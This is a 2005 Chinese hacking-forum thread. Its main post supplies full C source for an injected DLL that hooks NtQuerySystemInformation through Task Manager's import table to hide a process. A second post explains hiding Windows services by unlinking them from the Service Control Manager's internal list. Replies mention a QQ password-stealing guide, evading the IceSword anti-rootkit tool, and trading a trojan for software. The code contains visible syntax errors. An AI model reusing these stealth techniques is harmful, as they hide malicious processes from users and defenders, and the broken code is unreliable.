动态嵌入DLL方式
本人在WIN32/WIN64版块里的文章《QQ盗号的核心技术(简单版)》是关于这方面的,你可以参考一下。
至于热键呼出,只需在键盘钩子函数中添加相应代码就可以了
yimarong
2005-06-09, 13:29:51
动态嵌入?
看来该话点时间仔细研究一下了~
nbw
2005-06-09, 23:22:07
windows2000下简单的进程隐藏
by shadow3
大家一看到这个题目,一定会说,这个也太简单了,用CreateRemoteThread不就行了吗,不过我这里并不讨论使用CreateRemoteThread的方法来实现,因为那样根本不是真正的隐藏。
最近看了篇PJF写的文章,他的方法的确很好,不用进入ring0,利用直接读写物理内存的方法修改系统进程双向链表,但是这种方法通用性不是很好,在XP下我试了试,我的朋友EA在用WINDBG调试的时候发现,好象其中KPCR中CurrentThread结构的偏移可能不同(我自己太懒了,没有看),所以需要直接修改程序,但是还有另外的方法,下面我给出一种最简单的方法,请看代码,如果看了我上一篇文章,这里会十分简单。
#define UNICODE
#include <windows.h>
#include "stdafx.h"
#include <imagehlp.h>
#pragma comment(lib,"imagehlp.lib"
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#define NT_PROCESSTHREAD_INFO 0x05
#define MAX_INFO_BUF_LEN 0x500000
typedef LONG NTSTATUS;
typedef DWORD SYSTEM_INFORMATION_CLASS;
typedef NTSTATUS (__stdcall *NTQUERYSYSTEMINFORMATION)
(IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL);
NTSTATUS (__stdcall *pNTQUERYSYSTEMINFORMATION)
(IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL);
NTSTATUS WINAPI NtQuerySystemInformation(IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL);
typedef struct _LSA_UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
}LSA_UNICODE_STRING,*PLSA_UNICODE_STRING;
typedef LSA_UNICODE_STRING UNICODE_STRING, *PUNICODE_STRING;
typedef LONG KPRIORITY;
typedef struct _CLIENT_ID
{
HANDLE UniqueProcess;
HANDLE UniqueThread;
}CLIENT_ID;
typedef CLIENT_ID *PCLIENT_ID;
typedef struct _VM_COUNTERS
{
ULONG PeakVirtualSize;
ULONG VirtualSize;
ULONG PageFaultCount;
ULONG PeakWorkingSetSize;
ULONG WorkingSetSize;
ULONG QuotaPeakPagedPoolUsage;
ULONG QuotaPagedPoolUsage;
ULONG QuotaPeakNonPagedPoolUsage;
ULONG QuotaNonPagedPoolUsage;
ULONG PagefileUsage;
ULONG PeakPagefileUsage;
}VM_COUNTERS,*PVM_COUNTERS;
typedef struct _IO_COUNTERS
{
LARGE_INTEGER ReadOperationCount;
LARGE_INTEGER WriteOperationCount;
LARGE_INTEGER OtherOperationCount;
LARGE_INTEGER ReadTransferCount;
LARGE_INTEGER WriteTransferCount;
LARGE_INTEGER OtherTransferCount;
}IO_COUNTERS,*PIO_COUNTERS;
typedef enum _THREAD_STATE
{
StateInitialized,
StateReady,
StateRunning,
StateStandby,
StateTerminated,
StateWait,
StateTransition,
StateUnknown
}THREAD_STATE;
typedef enum _KWAIT_REASON
{
Executive,
FreePage,
PageIn,
PoolAllocation,
DelayExecution,
Suspended,
UserRequest,
WrExecutive,
WrFreePage,
WrPageIn,
WrPoolAllocation,
WrDelayExecution,
WrSuspended,
WrUserRequest,
WrEventPair,
WrQueue,
WrLpcReceive,
WrLpcReply,
WrVertualMemory,
WrPageOut,
WrRendezvous,
Spare2,
Spare3,
Spare4,
Spare5,
Spare6,
WrKernel
}KWAIT_REASON;
typedef struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientId;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
THREAD_STATE State;
KWAIT_REASON WaitReason;
}SYSTEM_THREADS,*PSYSTEM_THREADS;
typedef struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved1[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters;
SYSTEM_THREADS Threads[1];
}SYSTEM_PROCESSES,*PSYSTEM_PROCESSES;
int HOOKAPI(void);
BOOL WINAPI DllMain(HINSTANCE instance, DWORD reason, LPVOID lpvReserved)
{
switch (reason)
{
case DLL_PROCESS_ATTACH:
/*调试信息,表示DLL已经加载*/
HOOKAPI();
MessageBox(NULL,"HOOKAPI","消息",MB_OK);
break;
case DLL_PROCESS_DETACH:
/*调试信息,表示DLL已经卸载*/
MessageBox(NULL,"DLL被卸载","消息",MB_OK);
break;
}
return TRUE;
}
int HOOKAPI(void)
{
HMODULE hModule;
HMODULE hInstance;
DWORD dwNtQuerySystemInformation;
DWORD dwSize;
PIMAGE_IMPORT_DESCRIPTOR pImportDesc;
PSTR pszModName;
PIMAGE_THUNK_DATA pThunk;
char debuginfo[50];
hInstance = GetModuleHandle(NULL); //得到进程基地址
wsprintf(debuginfo,"当前进程基地址:0x%x",hInstance);
MessageBox(NULL,debuginfo,"消息",MB_OK);
hModule = GetModuleHandle(TEXT("ntdll.dll");
dwNtQuerySystemInformation = (DWORD)GetProcAddress(hModule,"NtQuerySystemInformation";
//得到NtQuerySystemInformation地址
wsprintf(debuginfo,"NtQuerySystemInformation Address:0x%x",dwNtQuerySystemInformation);
MessageBox(NULL,debuginfo,"消息",MB_OK);
pNTQUERYSYSTEMINFORMATION = NtQuerySystemInformation;
pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)ImageDirectoryEntryToData(hInstance,TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT,&dwSize);
if(pImportDesc==NULL)
{
MessageBox(NULL,"不能得到import table地址","消息",MB_OK);
return 0;
}
while (pImportDesc->Name)
{ //得到ntdll.dll对应的IMAGE_IMPORT_DESCRIPTOR
pszModName = (PSTR)((PBYTE) hInstance + pImportDesc->Name);
if (stricmp(pszModName,"ntdll.dll" == 0)
{
break;
}
pImportDesc++;
}
pThunk = (PIMAGE_THUNK_DATA)((PBYTE)hInstance+pImportDesc->FirstThunk);
while (pThunk->u1.Function)
{
PROC* ppfn = (PROC*) &pThunk->u1.Function;
BOOL bFound = (*ppfn == (PROC)dwNtQuerySystemInformation);
if (bFound)
{
MEMORY_BASIC_INFORMATION mbi;
VirtualQuery(ppfn,&mbi,sizeof(MEMORY_BASIC_INFORMATION));
VirtualProtect(mbi.BaseAddress,mbi.RegionSize,PAGE_READWRITE,&mbi.Protect);
//pThunk->u1.Function = (DWORD *)pHookCreateProcess;
pThunk->u1.Function = (DWORD *)pNTQUERYSYSTEMINFORMATION;
//挂钩NTQUERYSYSTEMINFORMATION
DWORD dwOldProtect;
VirtualProtect(mbi.BaseAddress,mbi.RegionSize,mbi.Protect,&dwOldProtect);
break;
}
pThunk++;
}
return 1;
}
NTSTATUS WINAPI NtQuerySystemInformation(IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL)
{
HMODULE hDll;
NTSTATUS NtStatus;
SYSTEM_PROCESSES *lpProcInfo,*lptmp,*lptmp1;
NTQUERYSYSTEMINFORMATION pQuerySystemInformation;
hDll = GetModuleHandle(TEXT("ntdll.dll");
if(hDll==NULL)
{
MessageBoxW(NULL,L"not load ntdll.dll",L"information",MB_OK);
return -1;
}
_try
{
pQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(hDll,"NtQuerySystemInformation";
NtStatus = pQuerySystemInformation(SystemInformationClass,SystemInformation,
SystemInformationLength,
ReturnLength OPTIONAL);
if(NtStatus==STATUS_INFO_LENGTH_MISMATCH)
{
MessageBox(NULL,"STATUS_INFO_LENGTH_MISMATCH","Information",MB_OK);
_leave;
}
if(NtStatus!=STATUS_SUCCESS)
{
MessageBox(NULL,"NtQuerySystemInformation Failed","Information",MB_OK);
_leave;
}
if(SystemInformationClass!=5)
{
return NtStatus;
}
lpProcInfo = (PSYSTEM_PROCESSES)SystemInformation;
while(lpProcInfo->NextEntryDelta!=0)
{
//在这里头了个懒,直接比较的是PROCESSID,其实这里应该比较进程名的
if(lpProcInfo->ProcessId==8)
{
lptmp = (PSYSTEM_PROCESSES)((char *)lpProcInfo +lpProcInfo->NextEntryDelta);
//lpProcInfo->NextEntryDelta += lptmp->NextEntryDelta;
lptmp1->NextEntryDelta += lpProcInfo->NextEntryDelta;
//lpProcInfo->NextEntryDelta=0;
}
lptmp1 = lpProcInfo;
lpProcInfo = (PSYSTEM_PROCESSES)((char *)lpProcInfo +lpProcInfo->NextEntryDelta);
}
}
_finally
{
FreeLibrary(hDll);
}
return NtStatus;
}
和我上一篇文章一样,挂钩windows任务管理器中的NtQuerySystemInformation这个函数,什么你问我这个函数是做什么用的,这个函数的功能很强大,是一个NATIVE API,在定义在NTDLL.DLL中,他的作用是查询系统的各种信息,象大家所熟知的Process32First等API,到最后还是要调用他来获取进程信息,关于这个函数的具体信息,请查阅相关文档,这里我们挂钩这个NATVIE API,修改这个函数的返回数据,从中删除我们要隐藏的进程单元,这样就可以简单的完成隐藏进程,不过这种方法的不足之处是,不使用任务管理器,使用其他软件就能查到被隐藏的进程,这点明显不入PJF的方法。
在各位高手面前献丑了,今天就写到这里吧
***********************************************************
关于隐藏服务的讨论
by shadow3
前几天看到一种方法来隐藏服务
方法来在zzzEVAzzz
EnumServicesStatus等API最终都是历遍SCM内部的ServiceRecordList,这是一个双向链表,在Services.exe进程创建时,由SvcCtrlMain -> ScInitDatabase -> ScGenerateServiceDB 产生。具体位置可从services!ServiceDatabase+0x4获得。
将需要隐藏的服务从链表上断开后,不管是MMC、net start或者SC,甚至IceSword,统统废掉了。
其中的ServiceDatabase是服务数据库的链表头,从NT4代码中,找到其结构为
typedef struct _SERVICE_RECORD {
struct _SERVICE_RECORD *Prev; // linked list
struct _SERVICE_RECORD *Next; // linked list
LPWSTR ServiceName; // points to service name
LPWSTR DisplayName; // points to display name
DWORD ResumeNum; // Ordered number for this rec
DWORD ServerAnnounce; // Server announcement bit flags
DWORD Signature; // Identifies this as a service record.
DWORD UseCount; // How many open handles to service
DWORD StatusFlag; // status(delete,update...)
union {
LPIMAGE_RECORD ImageRecord; // Points to image record
LPWSTR ObjectName; // Points to driver object name
};
SERVICE_STATUS ServiceStatus; // see winsvc.h
DWORD StartType; // AUTO, DEMAND, etc.
DWORD ErrorControl; // NORMAL, SEVERE, etc.
DWORD Tag; // DWORD Id for the service,0=none.
LPDEPEND_RECORD StartDepend;
LPDEPEND_RECORD StopDepend;
LPWSTR Dependencies;
PSECURITY_DESCRIPTOR ServiceSd;
DWORD StartError;
DWORD StartState;
LPLOAD_ORDER_GROUP MemberOfGroup;
LPLOAD_ORDER_GROUP RegistryGroup;
} SERVICE_RECORD, *PSERVICE_RECORD, *LPSERVICE_RECORD;
NE365 magazine V0.1
From NE365
shuair
2005-06-10, 09:50:05
努力学C++中....
.
ainivip
2005-06-11, 09:37:43
看不太明白,不过正在学习中
北极星2003
2005-06-11, 16:16:41
硬着头皮看完了,不过有些不懂:3:
在开始的时候已经有
1)。dwNtQuerySystemInformation = (DWORD)GetProcAddress(hModule,"NtQuerySystemInformation";
为什么后面又出现]
------------------------------------------------------
2)。
while (pThunk->u1.Function)
{
PROC* ppfn = (PROC*) &pThunk->u1.Function;
BOOL bFound = (*ppfn == (PROC)dwNtQuerySystemInformation);
if (bFound)
{
-----------------------------------------------------
是不是为了验证ntdll.dll 是否被加载,估计是这样了,
可是这段呢?
3)。
while (pImportDesc->Name)
{ //得到ntdll.dll对应的IMAGE_IMPORT_DESCRIPTOR
pszModName = (PSTR)((PBYTE) hInstance + pImportDesc->Name);
if (stricmp(pszModName,"ntdll.dll" == 0)
{
break;
}
pImportDesc++;
}
这里不是可以确保ntdll.dll被加载吗,那么上面第二段while检测不就可以省略了吗?
难道ntdll.dll被加载之后还有可能其中的函数没被映射到进程地址空间???? :3: :3:
请nbw大哥指点。。。。
北极星2003
2005-06-12, 08:54:23
顶一下,
期待指点
nbw
2005-06-12, 13:01:55
别问我。我也不咋懂。问题已经提交给shadow3了,回头他看到就回答一下。
nbw
2005-06-13, 09:49:43
楼上的北极朋友,作者回答如下:
1.第一次是得到需要hook的函数地址,第2次是在自己的hook例程中,为了实现调用正确的函数的地址(现在看起来有些多此一举,直接把地址写到全局变量中就可以了)
2.不是验证ntdll.dll被加载,是搜索IAT中的NtQuerySystemInformation,因为这个挂接方式就是使用挂接IAT的方法。
3。他的意思是查看当前所对应的IMAGE_IMPORT_DESCRIPTOR中的是否是name字段是否是ntdll.dll的,因为任务管理器导入的不只有ntdll.dll。
北极星2003
2005-06-13, 15:08:33
多谢指点。
估计是作者考虑到重定位才会再次遍历IAT
cyliu
2005-10-10, 11:11:23
如何定位ServicesDataBase?
nbw
2005-10-10, 12:34:41
偶也不懂。不过现在shadow3已经能写驱动绕过ICESWORD的进程检测了。
guoke
2005-10-10, 16:03:58
最初由 nbw 发布
偶也不懂。不过现在shadow3已经能写驱动绕过ICESWORD的进程检测了。
是高手wuyanfeng提出的方法,不过只能对现在的公开版本有效,对我用木马换来的个人版本就没用了。要是能搞到作者自己用的内部版就爽了。
nbw
2005-10-10, 16:07:42
最初由 guoke 发布
是高手wuyanfeng提出的方法,不过只能对现在的公开版本有效,对我用木马换来的个人版本就没用了。要是能搞到作者自己用的内部版就爽了。
我说的这个是shadow3自己分析icesword检测原理然后自己提出来的对付方法。不是wyanfeng那个
guoke
2005-10-10, 16:23:56
最初由 nbw 发布
我说的这个是shadow3自己分析icesword检测原理然后自己提出来的对付方法。不是wyanfeng那个
哦,不过我想个人版原理变了,那也无法通过分析公开版来找方法了。我也不很清楚是不是个人版的原理完全不同,问问去。